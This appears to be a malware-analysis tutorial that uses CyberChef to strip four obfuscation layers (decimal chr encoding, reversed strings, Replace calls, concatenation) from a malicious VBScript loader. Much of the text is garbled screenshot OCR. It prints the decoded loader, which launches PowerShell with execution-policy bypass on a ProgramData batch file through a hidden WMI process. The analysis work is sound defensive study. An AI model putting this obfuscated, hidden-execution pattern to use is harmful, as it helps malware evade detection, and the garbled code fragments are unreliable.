Built in regexes User defined	Regex \d+		1.	UYPNHFVADWURHNHZPINPTA = Replace(StrReverse("C\"&chr(84)&"ZJVAUVTTKFKKTNDVGTQRAIZJVAUVTTKFKKTNDVGTQRAI"),"IARQTGVDNTKKFKTTVUAVJ2",""&chr(7 GXO0RXASAPQVFKSUEONCP&Replace(StrReverse("CRPEZHYCJWUYGSGUCUNGSBni"),"BSGNUCUGSGYUWJCYHZEPRC",""&chr(51)&"") EXUVOYHXGYCDOGNOFYCNEI =	'9)&"")&
Case insensitive	✓ ^ and \$ match a	at newlines	Dot matches all	Replace(StrReverse("r:"&chr(83)&"VKLPWOTKLXHQANTSGUBU0P"&chr(77)&""),"POBNUGSTNAQHXLKTOWPLKU",""&chr(84)&")&UYPN HNNZPINPTA&Replace(StrReverse("corP_JGJCDGUMYOWFEZ85DISPOU"),"UOPSIDSBZEFWOYUNGGCJGJ",""&chr(58)&"") ZZUJTXHWNHZJEHLFUITCMWEReplace(StrReverse("IVBUDJGGGEKFAQULZXGHULPXCHULeyX)HUHZZPLQAPREGGIJNBU","=") UVFBXQ5ZHYDXQKCCQWMYYL=Replace(StrReverse("IVBLDJGGGEKFAQULZXGHULPXCH	.HFVADWU 79)&""")
Unicode support	Astral support	Display total	Output format List matches	<pre>KCKLLRWTZYUAJTCUDAPTVQ-Replace(5trReverse("KYIGPUH0VD0HHQCPQDKRCDgKYIGPUH0VD0HHQCPQDKRCD"& chr(78)&'''), "DCRKDQPCQHHD0V0HUPGIYK", ""&chr(77)&''' XJUZPDEZWXLZKPLSXPL_Replace(5trReverse("*&chr(83)& ZBSOKPDEUENXTHREKHZJORep"), "R0JZHKERHTXNEUEDPKOSBZ","r")</pre>	
From Decimal	ſ		© 11	GINDQZLOGQHKQTVOYGHDKT = Replace(StrReverse(""&Chr(84)&"ONCABJWNZSYSXTRWOJETAT"), "TATEJOWRTXSYSZNVJBACNO","a")&UVFBXQSZHYDXQKCCQWMWYL&Repl everse("KGJRJBEJVPHOGZNWOYFOSI"),"SOFYOWNNZGOHPVJEBJRJGK","e")&ZZWJTKAWNKYJEHAFUDTCWW&Replace(StrReverse("LITRKB FHZVPRSJ"&Ch(77)&"")."JSRPVZHFVPYZUSUBKRTIL",""\$Chr(80)&"")	.ace(Str 3USUZYFP
Space	L	_ Support signed	values	ине 4470 📻 21 Тт Кам Ву	tes 🔶 L
Merge			0 11	Output	ft ()
Merge All				UVXVCABWLJCGGPDCUNQVGU = "-noProfile -ExEcutionPolicy Bypass -Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW UVPFCRQOFGHVNBVUABXGFIW.bat" KAYWW0XZX0UASUEMXCHFKL=Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2"),"IEGKBYVVFEPXFBDSLDYDUP","S")	
Find / Replace			⊘ 11	XFOUESLAKLJJCHRAEDEPIS = Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTGN"),"GTBUVVAKVHWYSDLSUYFROA","3")&KAYWW0XZXWUASUEWKCHFKL&Replace(StrRev tCTTRNIDHHBWHVENTTKXPO"),"OPXKTTNEVHVBHPHDINKTIC","S")	/erse("R
Find "+" SIMPLE S	TRING - Replace		🗹 Global match	WGXOORXASAPQVFKSUEONCP= Replace(StrReverse("W:JFSKGAKLHXXQRQQPAUNUPZvmi"),"ZPUNUAPQQRQXXHLKAGKSFJ","2") UYPNHFVADWURHNHZPINPTA =	
Case insensitive	✓ Multiline mate	ching 🗌 Do	ot matches all	Replace(StrReverse("<\T2)VALUMTKFKKTNDVGTQRAIZJVAUVTKFKKTNDVGTQRAIZ) P&Replace(StrReverse("CRPEZHYCJWUYGSGUCUNGSBni"),"BSGNUCUGSGYUNJCYAZPRC","3") EXUVOYHKYCTCDGKNOFYCNE = Replace(StrReverse("r:SVKLPMGTKLXHANTSGUNBOPH"),"POBNUGSTNAQHXLKTOWPLKV","T")&UYPNHFVADWURHNHZPINPTA&Replace(Str	'FKSUEON
Syntax highlighter			⊘ 11	"COPY_JGLUGUWTWMFE2BSDISHOU"),"UUPSIDSEZEHWUTWGUGLUG","Z") ZZNJTKANMKYJEHAFUDTCWW=Replace(StrReverse("UVBNJQIGGGEKPAQQLPZKDHUlev"),"UHDKZPLQQAPKEGGGIQJWBV","=") UVFRXQSZYVDXKCCDMWNU-Beplace(StrReverse("VVFAJ0VCDXFADBHAXWYFZV1"),"VZFYRWKAHBQAFXOCUDIAFV" "O")	
Language Vbscript				KCKLFNWTZYUAJTCUDAFTVQ=Replace(StrReverse("KYIGPUH0VDDHHQCPD0KRCDgYYIGPUH0VDDHHQCPQ0KRCDm"),"DCRKD0PCQHH0DVOHUPGI XIJUZPDEZWXXLXFVL=Replace(StrReverse("SZBSOKPDEUENXTHREKHZJORep"),"R0JZHKERHTXNEUEDFKOSBZ","")	YK","M"

For a deeper explanation of the regex used, we highly recommend <u>regexper.com</u> and <u>regex101.com</u>.



If you're completely new to regex, we also strongly recommend regexone.com.

Obfuscation 1: Conclusion

TLDR - Defeating Decimal Encoding:

- Use regex to locate the encoded values (locate the chr)
- Use a subsection to 'act' on the encoded values (Hone in on the chr)
- Use Find/Replace to remove surrounding junk (remove the chr)
- Perform the decoding (from decimal)
- If necessary, remove any additional junk (remove the string concatenation)
- Make it pretty with a syntax highlighter

```
UVXVCAEWLJCGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+"fil"&chr(69)&"

"&chr(45)&""&chr(69)&"x"&chr(69)&"c"+"uti"&chr(111)&""&"&chr(111)&""+"icy Byp"+""&chr(97)&""&chr(115)&"

"&chr(45)&"C"&chr(111)&""&chr(109)&""&chr(109)&""&chr(97)&""&chr(110)&"d

C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&"&chr(97)&""&chr(97)&"&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&""&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&"&chr(97)&
```

Obfuscation 2: Reversed Strings

Further analysis determined that there were reversed strings scattered throughout the code. This is typically used to evade simple string-based detection and analysis.

This would likely evade YARA signatures that scan for suspicious strings in files that have been saved to disk.

Below we can see the reversed content.

```
\UPFCRQOFGHVNBVUABXGFIW.bat"
KAYWW0XZXNUASUEWKCHFKL =Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2"),"IEGKBYVVFEPXFBDSLDYDUP","S")
XFG0ESLXRCJJCRHXBZBPTS =
Paralase(Statewares("ADDEVUCLESV/UV/CAU/UPTCHU), UCTPUD/CAU/UPTCHU), UCTPUD/CAU/UPTCHU, UCTPUD/CAU/UPTCHU), UCTPUD/CAU/UPTCHU, UCTPUD/CAU/UPTCHU, UCTPUD/CAU/UPTCHU), UCTPUD/CAU/UPTCHU, UPTCHU/CAU/UPTCHU, UPTCHU, UPTCHU, UCTPUD/CAU/UPTCHU, UPTCHU, UPTCH
```

This encoding is simple and is literally just reversing the content of a string.

We could perform this operation manually in CyberChef, but like before, we knew it would take a while to deal with all of the reversed values.

The full StrReverse specification is here.

Recipe	8 🖿 🖬	Input
Reverse	⊘ 11	SPUDYDLSDBFXPEFVVYBKGEIecorP_2
By Character		ляс 30 = 1
		Output
		2_ProceIEGKBYVVFEPXFBDSLDYDUPS

We decided to do these operations in bulk using CyberChef.

Our approach...

- Utilise regex to locate the "reversed" values
- Use Find/Replace or regex to remove surrounding junk (The StrReverse function name in this case)
- Perform the decoding (Utilising "Reverse" + "by Character")
- Restore the original state (Utilise a merge to undo the subsection)

First, we developed the regex to locate only the reversed values.

We used the same method as before, utilising "regular expression" and "highlight matches" until the highlight matched exactly what we needed.

(We all have our own regex styles, you can use any regex which successfully highlights the content that you are interested in).

Recipe	8 🖬 î	Input + 🗅 🔁 📋
Regular expression	⊘ 11	<pre>UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"& \UPFCRQ0FGHVNBVUABXGFIW\UPFCRQ0FGHVNBVUABXGFIW.bat"</pre>
Built in regexes User defined		<pre>KAYWW0XZXMUASUEWKCHFKL =Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2"),"IEGKBYVVFEPXFBDSLDYDUP","S") XFG0E5LXRCJJCRK4BZBPTS =</pre>
Regex StrReverse\("[^"]+"\)	Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTGN"),"GTBUVVAKXHWYSDLSUYFROA","3")&KAYWWOXZXN SUEWKCHFKL&Replace(StrReverse("RatCITRNIDHPHBVHVENTTKXPO"),"0PXKTTNEVHVBHPHDINRTIC","S WGX00RXASAPQVFKSUEONCP= Replace(StrReverse("W:JFSKGAKLHXX0R00PAUNUPZvmi"),"ZPUNUAP00R0XXHLKAGKSFJ","2")
Case insensitive	^ and \$ match at newlines	UYPNHFVADWURHNHZPINPTA = Replace(StrReverse("c\TZJVAUVTTKFKKTNDVGTQRAIZJVAUVTTKFKKTNDVGTQRAI"),"IARQTGVDNTKKFKT UAVJZ","O")&WGX00RXASAPQVFKSUEONCP&Replace(StrReverse("CRPEZHYCJWUYGSGUCUNGSBni"),"BSG *** 3835 ╤ 21 Tr Raw Bytes ←
Dot matches all		
Display total	Output format Highlight matches	UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"& \UPFCRQ0FGHVNBVUABXGFIW\UPFCRQ0FGHVNBVUABXGFIW.bat" KAYWW0XZXNUASUEWKCHFKL =Deplace (*frBurger("#ENUXDISDEEXPERIMYDESDEEDW/VPKCETecorp. 2") "IECKEVUA/EEDXEPDCLDVDUD" "5")
Display total	Output format Highlight matches	UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"& \UPFCRQ0FGHVNBVUABXGFIW,UPFCRQ0FGHVNBVUABXGFIW.bat" KAYWW0XZXNUASUEWKCHFKL =Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2"),"IEGKBYVVFEPXFBDSLDYDUP","S") XFG0ESLXRCJJCRHXBZBPTS = Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTGN"),"GTBUVVAKXHWYSDLSUYFROA","3")&KAYWW0XZXN SUEWKCHFKL&Replace(StrReverse("RatCITRNIDHPBVHVENTFKXPO"),"0PXKTTNEVHVBHPHDINRTIC","S WGX00RXASAPQVFKSUE0NCP= Replace(StrReverse("W:JFSKGAKLHXXQRQQPAUNUPZvmi"),"ZPUNUAPQQRQXXHLKAGKSFJ","2") UYPNHFVADWURHNHZPINPTA = Replace(StrReverse("CTZJVAUVTTKFKKTNDVGTQRAIZJVAUVTTKFKKTNDVGTQRAI"),"IARQTGVDNTKKFKT UAVJZ","0")&WGX00RXASAPQVFKSUE0NCP&Replace(StrReverse("CRPEZHYCJWUYGSGUCUMGSBni"),"BSG

An overview of the regex, courtesy of <u>regexper.com</u>

This basically says

- Grab any occurrence of "StrReverse(" including the opening parenthesis
- Grab everything that is not a double quote
- Grab the ending double quote and closing parenthesis.



We then converted the regex into a subsection and followed a similar methodology to before.

• Subsection - Extract the "general" content of interest (in this case, "StrReverse" and any following quoted content)

- Regular Expression Extract the "exact" content of interest (Extract only the content in quotes)
- Reverse + By Character Perform the reverse operation.



We then observed that the "StrReverse" operations were removed and cleaned.

```
UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"
\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.bat"
KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS","IEGKBYVVFEPXFBDSLDYDUP","S")
XFGOESLXRCJJCRHXBZBPTS =
Replace("NGTBUVVAKXHWYSDLSUYFROA","GTBUVVAKXHWYSDLSUYFROA","3")&KAYWWOXZXNUASUEWKCHFKL&Replace("OPXKTT
NEVHVBHPHDINRTICtaR","OPXKTTNEVHVBHPHDINRTIC","S")
```

With a before and after of an offending line.

```
KAYWW0XZXNUASUEWKCHFKL
=Replace("SPUDYDLSDBFXPEFVVYBKGEIecorP_2"),"IEGKBYVVFEPXFBDSLDYDUP","S")
KAYWW0XZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS","IEGKBYVVFEPXFBDSLDYDUP","S")
XFG0ESLXRCJJCRHXBZBPTS =
```

Obfuscation 3: Replace

Building on our last result, we could now see numerous "replace" operations scattered throughout the code.

We followed the same process as before.

- Use regex to "locate" the "encoded" values
- · Use a subsection to "act" on the encoded values
- Perform the decoding
- Restore the script to a clean state

We utilised regex to locate our values of interest.

Recipe	2 🖬 🖬	Input + 🗅 🔁 🖥 🖬		
Regular expression II Built in regexes User defined Regex Replace\("[^"]+","[^"]+","[^"]"\)		STBRJKUASKOWTRXWVSAOGR.Get(Replace("wLUBLIBQQYNAYHNZAEHJOCU","LUBLIBQQYNAYHNZAEHJOCU","i")& XFGOESLXRCJJCRHXBZBPTS &Replace("tuKYOHAURTZJUQEOCHXZTXSD","KYOHAURTZJUQEOCHXZTXSD","P")) Set NWVSBVKOKKPHTVJUAYLXIC. = NWDUSWICKKNJDDWWNKOSCS.SpawnInstance_ NWVSBVKOKKPHTVJUAYLXIC.ShowWindow = 0 Set ESKRQXAIQCIIWGPQEPLXNJ = Carbonic (University of Stational		
		Case insensitive	^ and \$ match at newlines	<pre>GReplace("xIICZVMRATNSIDHGKYUGUOX","ICZVMRATNSIDHGKYUGUOX","e")&UVXVCAEWLJCGGPDCUNGVGU, null, NWVSBVK0KKPHTVJUAYLXIC, intProcessID)</pre>
		mas 3439 = 21 Tr Raw Bytes ↔ L		
Dot matches all Unic	code support Astral support	Output		
Display total	Output format Highlight matches	UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&" \UPFCRQ0FGHVNBVUABXGFIW\UPFCRQ0FGHVNBVUABXGFIW.bat" KAYWW0XZNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS","IEGKBYVVFEPXFBDSLDYDUP","S") VECOSE1VerJICDVP2PDTE -		
		AF GUESLARCJJCHNABDEJ 13 Replace("NGTBUVVAKXHWYSDLSUYFROA", "GTBUVVAKXHWYSDLSUYFROA", "3")&KAYWWOXZXNUASUEWKCHFKL&Replace("OPXKT NEVHVBHPHDINRIICtaR", "OPXKTINEVHVBHPHDINRIIC", "5") WGXOORXASAPQVFKSUEONCP= Replace("imvZPUNUAPQQRQXXHLKAGKSFJ:W", "ZPUNUAPQQRQXXHLKAGKSFJ", "2") UYPNHFVADWURHNHZZINIPTA = Replace("IARQIGVDNTKKFKTTVUAVJZIARQIGVDNTKKFKTTVUAVJZT\c", "IARQIGVDNTKKFKTTVUAVJZ", "0")&WGXOORXASAPQV KSUEONCPSReplace("InBSGNUCUGSGYUWJCYHZEPRC", "BSGNUCUGSGYUWJCYHZEPRC", "3") EXUVOYHXFTORONORYCNFT =		

This essentially grabs "Replace" followed by the next three values contained in double quotes.



After confirming that our regex worked as intended, we converted the regex into a subsection and applied a register.

A register would allow us to extract values from the script and store them in "registers", which are the CyberChef equivalent of variables. This would allow us to better implement the string replace operation.

In order to apply a register, we applied the same regex as before, but added parentheses around the values that we wanted to store as variables.

This concept is also known as a "capture group" if you're already familiar with regex.

(You can find a short tutorial on capture groups on regexone.com)

We briefly shortened the malware script to better demonstrate this concept. See how the various values in the "replace" operation are now stored as variables \$R0, \$R1, \$R2 etc.

Recipe	8 🖿 🕯	Input	+ C	Ð		=
Subsection Section (regex) Replace\("[^"]+","[Case sensitive matching	UVXVCAEWLJCGGPDCUNGVGU = "-noProfile -ExEcutionPolicy Bypass -Command C:\I \UPFCRQ0FGHVNBVUABXGFIW\UPFCRQ0FGHVNBVUABXGFIW.bat" KAYWW0XZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS","IEGKBYVVFEPXFBDSLDYDUP","S")	Progra	mData"&	•	
Global matching	Ignore errors	esc 233 = 2	1	🖣 Raw Byt	es 🗲	LF
Register	⊘ 11	Output			F	3
Extractor :e\("([^"]+)","([^"]+)	", ✓ Case insensitive	UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ \UPFCRQ0FGHVNBVUABXGFIW\UPFCRQ0FGHVNBVUABXGFIW.bat" KAYWW0XZXNUASUEWKCHFKL =Replace{"2_ProceIEGKBYVVFEPXFBDSLDYDUPS","IEGKBYVVFEPXFBDSLDYDUP","S")	Progra	mData"&		
<pre>\$R0 = 2_ProceIEGKBYVVFEPX \$R1 = IEGKBYVVFEPXFBDSLDY \$R2 = S</pre>	(FBDSLDYDUPS 'DUP			Sublim	ne Tex	t

Another graphical explanation courtesy of regexper.com.



We had successfully extracted values of interest using registers. Which we then applied to a find/replace operation.



This operation was able to convert this original line into the following. (Again, the malware script has been shortened to demonstrate the concept)

Input +		€	Î	
UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW \UPFCRQOFGHVNBVUABXGFIW.bat" KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS","IEGKBYVVFEPXFBDSLDYDUP","S")				
RBC 233 = 2	Tr	Raw B	ytes	*
Output	•	D	ſ.	
UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW \UPFCRQOFGHVNBVUABXGFIW.bat" KAYWWOXZXNUASUEWKCHFKL ="2_ProceSS"				

We then restored the full malware script and were able to obtain the following decoded content. Noting that the Replace operations were now removed.

Input			j 🔳
UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFI \UPFCRQOFGHVNBVUABXGFIW.bat" KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS","IEGKBYVVFEPXFBDSLDYDUP","S") XFGOESLXRCJJCRHXBZBPTS = Replace("NGTBUVVAKXHWYSDLSUYFROA","GTBUVVAKXHWYSDLSUYFROA","3")&KAYWWOXZXNUASUEWKCHFKL&Replace("OPXKTTNEVHVBH TTNEVHVBHPHDINRTIC","S") WGXOORXASAPQVFKSUEONCP= Replace("imvZPUNUAPQQRQXXHLKAGKSFJ:W","ZPUNUAPQQRQXXHLKAGKSFJ","2") UYPNHFVADWURHNHZPINPTA = Replace("IARQTGVDNTKKFKTTVUAVJZIARQTGVDNTKKFKTTVUAVJZT\c","IARQTGVDNTKKFKTTVUAVJZ","0")&WGXOORXASAPQVFKSUEONC UGSGYUWJCYHZEPRC","BSGNUCUGSGYUWJCYHZEPRC","3") EXUVOYHXQTCDOGNOFYCNEI = Replace("MPOBNUGSTNAQHXLKTOWPLKVS:r","POBNUGSTNAQHXLKTOWPLKV","T")&UYPNHFVADWURHNHZPINPTA&Replace("UOPSIDSBZE "UOPSIDSBZEFWOYWUGDCJGJ","2")	/ ?HDINRTI(?&Replace	ClaR" ≥("in	,"OPXK IBSGNUC _Proc",
явс 3439 🚍 21	Tr Raw	Bytes	; 🔶 LF
Output		<u>ה</u>	a ::
UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFI VUPFCRQOFGHVNBVUABXGFIW.bat" KAYWW0XZXNUASUEWKCHFKL ="2_ProceSS" XFGOESLXRCJJCRHXBZBPTS = "N3"&KAYWW0XZXNUASUEWKCHFKL&"StaR" WGXOORXASAPQVFKSUEONCP= "imv2:W" UYPNHFVADWURHNHZPINPTA = "00T-c"&WGXOORXASAPQVFKSUEONCP&"in3" EXUV0YHXQTCDOGNOFYCNEI = "MTS:r"&UYPNHFVADWURHNHZPINPTA&"2_Proc" ZZWJTKAWNKYJEHAFUDTCWW="vel=i" UVFBXQSZHYDXQKCCQWWNYL="iON" KCKLFNNTZYUAJTCUDAPTVQ="NMgM" XIJUZPDEZWXXLZKPLSXPLL="perS" GIN0QZLOGQHKQTV0YGHDKT = "aT"&UVFBXQSZHYDXQKCCQWWNYL&"le"&ZZWJTKAWNKYJEHAFUDTCWW&"MP" BDAEZIOSPHGLAYIEPCSKKZ="SOna" INAUKWKYCZNPOIVVNEQVFN="ot-cim" CFKSWETDBQSRPZPHXUYTDS"" Set STBRJKUASKOWTRXWVSAOGR = Get0bject("wi"&KCKLFNNTZYUAJTCUDAPTVQ&"ts:"& "{iM"&XIJUZPDEZWXXLZKPLSXPLL&"on"&GIN0QZLOGQHKQTV0YGHDKT&"c"&BDAEZIOSPHGLAYIEPCSKKZ&"te}!,-ro"&INAUKWKYCZN Set NWDUSWICRKNJDDWNKOSCS = SEBJKUASKOWTRXWVSAOGR.get("wi"& XFGOESLXRCJJCRHXBZBPTS &"tuP") Set NWDSWKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWMNKOSCS.SpawnInstance_ NWVSBVKOKKPHTVJUAYLXIC = SKRQXAIQCIIWGPQEPLXNJ.Create("PO"&CFKSWETDBQSRPZPHXUYTDX&"She"&LOCNYJVFLHRIEEZZNOQY "&UVYSBVKOKKPHTVJUAYLXIC = SKRQXAIQCIIWGPQEPLXNJ.Create("PO"&CFKSWETDBQSRPZPHXUYTDX&"She"&LOCNYJVFLHRIEEZZNOQY EEKTGASEUQPENYYXVFFFKJ = ESKRQXAIQCIIWGPQEPLXNJ.Create("PO"&CFKSWETDBQSRPZPHXUYTDX&"She"&LOCNYJVFLHRIEEZZNOQY "&UVYSBVKOKKPHTVJUAYLXIC, intProcesSID)))0IVVNEQ) (B&"xe	/FN&''	'v2")

The completed recipe can be seen in the screenshot below.

(Note the optional addition of find/replace to turn backslashes into hyphens. The initial extracted backslashes were causing issues with the find/replace operation, this isn't necessary to do but it results in a slightly cleaner output)

Recipe	2 🖬 🖬	Input + 🗅 🗃 🖬
Subsection Section receive Replace\("[^n]+","[^n]+_ Case sensitive matching	S II	UVVXLADLIGGROUNEWGU = "-enProfile -bEcularDolicy Bypas - Cemand (:\regramble's'UERGOORGANEWLABKGFDALBFCROORGANEWLABKGFTGANEWLABKGFTALBF
Find / Replace Find SIMPLE STRING	© Ⅱ Ciobal match Case insensitive atches all	UMPer VANANDER ZEP INF a = Per Lace ("VANDER VANDER VANDE
Extractor :e\(("[^"]+"),"([^"]+)"," _	Iultiline matching Dot matches all	manapeguate("NGMPVZM*VFTLADBOOKILL", JAPTUTVFTLADBOOKILL", PT) DAULANCTADPUTVHEQVFR-Replace("or\TNGONKLEBOOYJILWOWCTIm", "TVGODBLBOOYJILWOWCTI", "c")
<pre>\$R0 = "xIICZVWRATNSIOHGKYUGUOX " \$R1 = IICZVWRATNSIOHGKYUGUOX \$R2 = e</pre>		output B [] C C C
Regular expression But its nature User defined Reges SR8 User defined Dot matches all Unicode sup	© Ⅱ	UWXVLABLJCG0POLNAWU ""-op*of*11E -EsEcutionPolicy Bypass - General C:\ProgramData"&'\UPFCR0FGNWBVUABXGFTW\UPFCR0FGNWBVUABXGFTW\UPFCR0FGNWBVUABXGFTW\upfCR0FGNUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTWUABXGFTWUABXGFTWUABXGFTWUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW\upfCR0FGNWBVUABXGFTW
List matches		DAUKKYCZNPOTVNEQVPN="ot-cia" CYKSHETDBQSHPZPHOVTDX="wer"
Find Replace Find REGEX + Replace \$R1 REGEX + \$R2	Global match	Let STBAURGONTONGIAGA = etclbjet("vg"GKCH_PMTZYUJTCUDAPTVG/*1:"& "(JM"KLTUZPEZROXLDGLSXPLL4"on"GGINQZLGGWGTV0YBRKT&*e"GBAEZ[GSPHGLAYIEPCSRC2"te)! "C'ILNUARXYCZEDUNROVNEX;CS = STBAURGSKONTONGSAGG, etc['u''; & XFOESLRC2CORREZPTS &'tuP') Set MUSSYCRONDDAMANGS = STBAURGSKONTONGSAGG, etc['u'; & XFOESLRC2CORREZPTS &'tuP')
Multiline matching	atches all	NMYSBY0000FMTUJUXIXIC.Showlindow = 0 5xet ESB00AUTCHWERPERUD = (cbie)ct'hubber'& EUNOYMOTCODQUOFYOHEL &"eSS") EEKTASEUPENYNYFFTKI = ESR0AXICTLTWCREPUAU.Create("%P"&CFKSWETB05BPZPHOUTDKG"She"&LOONJVFLHELEXXD0YX8&"xe "&UVVXCAB4_JCGGPDCUNGVGJ, null, NMYSBY000FMTUJUXIXIC, intrecessID
Merge	⊗ ॥	
Syntax highlighter Language auto detect	© II	

Obfuscation 4: String Concatenation

We then had one final obfuscation remaining. It is arguably the simplest so far and ironically the only one that could not be resolved via CyberChef.

Throughout the code are concatenated strings that the malware previously stored in variables.

An attempt was made to resolve this using subsections and registers, but ultimately we could not find a solution.

We then found a workaround that wasn't CyberChef, but technically didn't involve leaving the CyberChef window so it was close enough.

Here is the script with the original string concatenations "&"

```
ESKRQXAIQCIIWGPQEPLXNJ.Create("PO"&CFKSWETDBQSRPZPHXUYTDX&"She"&LOCNYJVFLHRIEEXZNOQYXB&"
xe "&UVXVCAEWLJCGGPDCUNGVGU, null, NWVSBVK0KKPHTVJUAYLXIC, intProcessID)
```

We then replaced the visual basic string concatenations (&) with a javascript equivalent (+)

Recipe	2 🖬 🕯	Input + 🗅 🔁 📋 📰
Find / Replace	S II	UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&" \UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.bat" KAYWW0XZXNUASUEWKCHFKL ="2_ProceSS" Yecnesi ypclicpuyg7pts = "Nay"kAywww0YZYNUASUEWKCHFKL6"StaP"
Global match	+	MGX00RXASAPQVFKSUE0NCP= "imv2:W" IIVPOHIFVADWIDHNH7DTNDTA = "OOT_c"£WGXOORXASADOV/EKSIIFONCD£"in3" me 1387 ₹ 21 Tr Raw Bytes ↔ LF
		Output
 Multiline matching 	Dot matches all	UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"+" \UPFCRQ0FGHVNBVUABXGFIW\UPFCRQ0FGHVNBVUABXGFIW.bat"
